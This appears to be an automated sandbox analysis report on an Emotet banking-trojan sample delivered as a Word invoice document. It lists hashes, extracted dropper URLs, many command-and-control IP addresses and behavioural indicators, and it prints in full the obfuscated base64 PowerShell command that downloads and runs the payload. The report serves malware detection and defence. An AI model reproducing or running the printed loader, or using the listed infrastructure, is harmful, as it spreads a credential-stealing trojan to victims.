emotet | 1c8354b2ffd08c377bb61eabec461f1fbe0bd8e5a46aabe288066a665e7551a0

Analysis

max time kernel
136s
max time network
142s
platform
windows10_x64
resource
win10
submitted
03/09/2020, 18:19

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General

Target
INV_9YJS3OF8.doc
Size 185KB
Sample200903-zgmelb23fe
SHA256 1c8354b2ffd08c377bb61eabec461f1fbe0bd8e5a46aabe288066a665e7551a0
MD5 67e6b92d63fbe334c1bfcf1df6240013
SHA1 1db05ddbdbfb8772a9c88abec54fa8a579df84af
SHA512 388f7f24104316970524b8ee225dd59338cc5c25a90013656ddcd4d321302f838d7de3acb78fc9b9f26804b72b8cbc4150d2fd4206dbb7983d0f8542a7abdcea
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://dvers.me/cgi-bin/s/
exe.dropper
http://fabregat.eu/images/q/
exe.dropper
http://ezola.fr/Accessoires/IKh/
exe.dropper
http://finewines.com.sg/wset-2-registration/6bsizM/
exe.dropper
http://fernsehservice-stara.de/cgi-bin/x/
exe.dropper
http://familienbande-ley.de/cgi-bin/tKX/
exe.dropper
http://ketisch.de/adina/G/

Extracted

Family

emotet

140.186.212.146:80
85.214.28.226:8080
142.44.137.67:443
162.241.242.173:8080
95.213.236.64:8080
176.111.60.55:8080
85.152.162.105:80
67.205.85.243:8080
173.81.218.65:80
5.196.74.210:8080
190.160.53.126:80
24.43.99.75:80
169.239.182.217:8080
47.144.21.12:443
89.205.113.80:80
112.185.64.233:80
216.208.76.186:80
121.124.124.40:7080
37.187.72.193:8080
87.106.136.232:8080
46.105.131.79:8080
137.59.187.107:8080
37.70.8.161:80
120.150.60.189:80
79.98.24.39:8080
200.114.213.233:8080
62.30.7.67:443
139.162.108.71:8080
189.212.199.126:443
74.120.55.163:80
85.242.155.127:80
187.161.206.24:80
203.153.216.189:7080
61.19.246.238:443
185.94.252.104:443
97.82.79.83:80
104.131.11.150:443
139.99.158.11:443
74.109.108.202:80
219.74.18.66:443
209.141.54.221:8080
194.187.133.160:443
107.5.122.110:80
98.109.204.230:80
94.23.237.171:443
94.200.114.161:80
37.139.21.175:8080
95.179.229.244:8080
68.188.112.97:80
152.168.248.128:443
188.219.31.12:80
24.137.76.62:80
139.59.60.244:8080
93.147.212.206:80
70.121.172.89:80
62.75.141.82:80
137.119.36.33:80
200.41.121.90:80
174.102.48.180:443
74.208.45.104:8080
157.245.99.39:8080
104.131.44.150:8080
172.91.208.86:80
109.74.5.95:8080
103.86.49.11:8080
41.60.200.34:80
1.221.254.82:80
203.117.253.142:80
79.137.83.50:443
91.211.88.52:7080
83.169.36.251:8080
174.45.13.118:80
85.105.205.77:8080
68.171.118.7:80
168.235.67.138:7080
139.130.242.43:80
87.106.139.101:8080
190.55.181.54:443
173.62.217.22:443
84.39.182.7:80
85.66.181.138:80
110.145.77.103:80
113.160.130.116:8443
47.146.117.214:80
5.39.91.110:7080
78.24.219.147:8080
174.137.65.18:80
75.139.38.211:80
180.92.239.110:8080
24.179.13.119:80
201.173.217.124:443
104.236.246.93:8080
153.232.188.106:80
50.81.3.113:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2100	1256	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2100	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1920	Mobwuo6.exe
2092	credprovslegacy.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\oleaut32\credprovslegacy.exe	Mobwuo6.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = d7ebce351e82d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2100	powershell.exe
2100	powershell.exe
2100	powershell.exe
2092	credprovslegacy.exe
2092	credprovslegacy.exe
2092	credprovslegacy.exe
2092	credprovslegacy.exe
2092	credprovslegacy.exe
2092	credprovslegacy.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1772	svchost.exe
Token: SeCreatePagefilePrivilege	1772	svchost.exe
Token: SeDebugPrivilege	2100	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
1920	Mobwuo6.exe
2092	credprovslegacy.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 1920	2100	powershell.exe	78
PID 2100 wrote to memory of 1920	2100	powershell.exe	78
PID 2100 wrote to memory of 1920	2100	powershell.exe	78
PID 1920 wrote to memory of 2092	1920	Mobwuo6.exe	80
PID 1920 wrote to memory of 2092	1920	Mobwuo6.exe	80
PID 1920 wrote to memory of 2092	1920	Mobwuo6.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INV_9YJS3OF8.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAEwAZQBcAEEAVQBRAGkAZgBGADAAXABNAE8AZwBqAE4AcgA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBVAGAAUgBJAHQAeQBQAGAAUgBvAHQAYABvAEMAbwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEQAcwAwAHkAcAB4AHIAIAA9ACAAKAAoACcATQAnACsAJwBvAGIAJwApACsAJwB3ACcAKwAoACcAdQBvACcAKwAnADYAJwApACkAOwAkAEcAcwAyADkAXwBrAHMAPQAoACcAUgByACcAKwAoACcAbQB3AHoAJwArACcAOQA3ACcAKQApADsAJABaAGgANwBpAGwAZwB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQwBRACcAKwAnADkAQQB1AHEAJwArACcAaQAnACkAKwAnAGYAJwArACgAJwBmADAAQwAnACsAJwBRACcAKQArACcAOQBNACcAKwAoACcAbwAnACsAJwBnAGoAJwApACsAKAAnAG4AcgAnACsAJwA1ACcAKQArACgAJwBDAFEAJwArACcAOQAnACkAKQAgAC0AQwBSAGUAcABMAGEAQwBlACAAIAAoACcAQwBRACcAKwAnADkAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAEQAcwAwAHkAcAB4AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKADgAOAB5AGsAYwBfAD0AKAAnAFkAJwArACcAMwAzACcAKwAoACcAMAAnACsAJwBwAGkAOQAnACkAKQA7ACQATgA5ADMAOQAyAHMAaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAEwAaQBFAG4AVAA7ACQAUwA3AG0AYQBuAG4AZwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AZAAnACsAKAAnAHYAJwArACcAZQByAHMAJwApACsAJwAuACcAKwAoACcAbQBlAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAvAHMALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBmAGEAJwArACcAYgByAGUAZwAnACsAJwBhAHQALgBlACcAKQArACgAJwB1AC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKQArACgAJwBzAC8AJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AZQB6ACcAKQArACgAJwBvAGwAYQAnACsAJwAuACcAKQArACcAZgAnACsAJwByAC8AJwArACcAQQAnACsAKAAnAGMAYwAnACsAJwBlAHMAJwArACcAcwBvAGkAJwApACsAJwByAGUAJwArACgAJwBzAC8AJwArACcASQAnACkAKwAoACcASwBoACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBmACcAKQArACcAaQAnACsAKAAnAG4AZQAnACsAJwB3AGkAJwApACsAJwBuAGUAJwArACcAcwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgBzACcAKwAnAGcAJwApACsAJwAvACcAKwAnAHcAcwAnACsAKAAnAGUAdAAnACsAJwAtADIALQByAGUAZwBpACcAKwAnAHMAJwArACcAdAByACcAKQArACcAYQB0ACcAKwAoACcAaQBvAG4ALwA2AGIAcwBpACcAKwAnAHoAJwArACcATQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAZQAnACsAJwByACcAKQArACcAbgBzACcAKwAoACcAZQBoAHMAZQAnACsAJwByAHYAaQBjACcAKwAnAGUALQAnACsAJwBzAHQAJwArACcAYQByAGEALgAnACkAKwAnAGQAJwArACcAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAoACcALQBiAGkAbgAnACsAJwAvAHgAJwArACcALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AZgBhAG0AJwApACsAJwBpACcAKwAoACcAbABpACcAKwAnAGUAJwApACsAJwBuACcAKwAoACcAYgBhAG4AZABlAC0AJwArACcAbAAnACkAKwAnAGUAeQAnACsAKAAnAC4AZABlAC8AYwAnACsAJwBnACcAKwAnAGkALQBiAGkAbgAvACcAKwAnAHQASwBYAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGsAZQB0ACcAKwAnAGkAJwApACsAJwBzACcAKwAoACcAYwBoAC4AZABlAC8AYQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAG4AYQAvAEcAJwArACcALwAnACkAKQAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGUAawBlAGoAaQB1AD0AKAAnAFoAJwArACgAJwBoACcAKwAnAGgAOQAnACkAKwAoACcAZgAnACsAJwA1ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADAAOABiAGYAYQB3ACAAaQBuACAAJABTADcAbQBhAG4AbgBnACkAewB0AHIAeQB7ACQATgA5ADMAOQAyAHMAaQAuACIAZABvAHcATgBMAGAATwBBAEQARgBgAEkAbABFACIAKAAkAEEAMAA4AGIAZgBhAHcALAAgACQAWgBoADcAaQBsAGcAdAApADsAJABOAGEAaQB4AHIAZwB0AD0AKAAnAE4AMgAnACsAJwBfACcAKwAoACcAaQBzAHUAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGgANwBpAGwAZwB0ACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADQANwA5ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAaAA3AGkAbABnAHQAKQA7ACQASwB5AHUAeAAzADIAZgA9ACgAKAAnAFYAegBjACcAKwAnADYAJwApACsAKAAnAGMANQAnACsAJwBlACcAKQApADsAYgByAGUAYQBrADsAJABGAHAAbwBhAGsAcQA0AD0AKAAoACcAQwB3ACcAKwAnAHQAJwApACsAJwBqACcAKwAoACcAbQAnACsAJwB1AG8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAbgAyAGcAZgA5ADMAPQAoACgAJwBCACcAKwAnAGoAeQAnACkAKwAnAHIAJwArACgAJwByACcAKwAnAGwAcQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe
  "C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\SysWOW64\oleaut32\credprovslegacy.exe
    "C:\Windows\SysWOW64\oleaut32\credprovslegacy.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2092

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/976-8-0x000001C8F15C8000-0x000001C8F15CD000-memory.dmp

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memory/976-3-0x000001C8F15C8000-0x000001C8F15CD000-memory.dmp

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memory/976-5-0x000001C8F15C8000-0x000001C8F15CD000-memory.dmp

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memory/976-6-0x000001C8F15C3000-0x000001C8F15C8000-memory.dmp

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memory/976-7-0x000001C8F15C8000-0x000001C8F15CD000-memory.dmp

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memory/976-0-0x00007FFA21240000-0x00007FFA21906000-memory.dmp

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memory/976-1-0x000001C8F1362000-0x000001C8F13CD000-memory.dmp

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memory/976-2-0x000001C8F1362000-0x000001C8F13CD000-memory.dmp

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memory/976-4-0x000001C8F1362000-0x000001C8F13CD000-memory.dmp

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memory/1920-15-0x00000000006D0000-0x00000000006DC000-memory.dmp

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memory/2092-18-0x00000000004B0000-0x00000000004BC000-memory.dmp

Download

memory/2100-11-0x0000023C6FF90000-0x0000023C6FF91000-memory.dmp

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memory/2100-10-0x0000023C6FD80000-0x0000023C6FD81000-memory.dmp

Download

memory/2100-9-0x00007FFA19E50000-0x00007FFA1A83C000-memory.dmp

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